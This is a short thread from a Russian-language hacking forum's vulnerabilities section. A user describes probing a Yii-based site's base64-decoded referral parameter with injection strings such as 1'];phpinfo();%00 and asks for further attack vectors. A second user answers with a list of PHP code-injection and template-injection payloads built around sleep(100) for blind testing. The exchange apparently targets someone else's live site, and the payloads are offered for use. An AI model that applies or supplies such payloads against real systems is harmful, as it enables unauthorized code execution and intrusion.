Ошибка в параметре String --> Array

Discussion in 'Уязвимости' started by jangle, 23 Aug 2017.

  1. jangle

    jangle Member

    Joined:
    19 Nov 2006
    Messages:
    122
    Likes Received:
    6
    Reputations:
    6
    Нашел вот такую ошибку...
    site.com?r=MQ== - отработало ок.
    site.com?r[]=MQ== - дает ошибку

    expects parameter 1 to be string, array given

    это понятно, частая баг, но интересно следующее:

    смотрим код, тут есть такая штука

    Code:
     public function SetCookie($refID)
        {
            $cookies = Yii::$app->response->cookies;
            $cookies->add(new Cookie([
                'name' => 'ref',
                'value' => base64_decode($refID),
                'domain' => $_SERVER['SERVER_NAME'],
                'expire' => time() + 3600,
            ]));
        }
    
    как видно параметр декодится BASE64.

    далее эксперименты:
    site.com?r["1"]=MQ== - дает ошибку
    а вот site.com?r["MQ=="]=MQ== - отрабатывает.

    тут MQ== это 1 в base64

    вообщем параметры в ["ТУТ"] в base64 отрабатываю.

    идем далее - эксперименты;

    запросы без вывода ошибки:


    site.com?r["MSddOyUwMA=="]=MQ==
    MSddOyUwMA== это 1'];%00


    site.com?r["MSddO3BocGluZm8oKTslMDA="]=MQ==
    MSddO3BocGluZm8oKTslMDA= это 1'];phpinfo();%00
    без ошибки исполнено, но и phpinfo не вывело

    а запрос
    site.com?r["MSddO3BocGluZm8oKTt9JTAw"]=MQ==
    MSddO3BocGluZm8oKTt9JTAw это 1'];phpinfo();}%00
    дает ошибку.


    Итак вопрос, какой бы вы посоветовали вектор атаки, какие еще можно провести тесты?
    [email protected] - жаба для связи
     
  2. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    560
    Likes Received:
    1,063
    Reputations:
    357
    По одной функции, точно сказать, есть ли в этом случае выполнение кода или нет, нельзя. Нужно видеть весь код, от начала и до конца.

    На мой взгляд, в тестах, есть попытка выдать желаемое за действительное. Вариантов, при которых можно (гипотетически) внедрить код, может быть куча и пробовать их все сравни эффекту как об стенку горох.

    Я на 99,9% уверен что там нет выполнения кода, но если очень хочется, могу предложить такие конструкции для теста:

    Code:
    <script language="php">sleep(100);</script>
    {math equation="x+y" x=5 y=4}
    {{3*3}}
    {PHP}sleep(100);{/PHP}
    <?php sleep(100); ?>
    <? sleep(100); ?>
    <% sleep(100); %>
    {${sleep(100)}}
    `{${sleep(100)}}`
    {$sleep[sleep(100)]}
    ${${sleep(100)}}
    ${@sleep(100)}
    ${sleep(100)}
    ${(string)sleep(100)}
    ${sleep(100)}
    ';sleep(100);#\
    ";sleep(100);#\
    ".sleep(100);#\
    '.sleep(100);#\
    
     
    SooLFaa, Gorev and dooble like this.
  3. jangle

    jangle Member

    Joined:
    19 Nov 2006
    Messages:
    122
    Likes Received:
    6
    Reputations:
    6
    crlf, огромное спасибо, дал пищу для размышлений и экспериментов!!!!
     
Loading...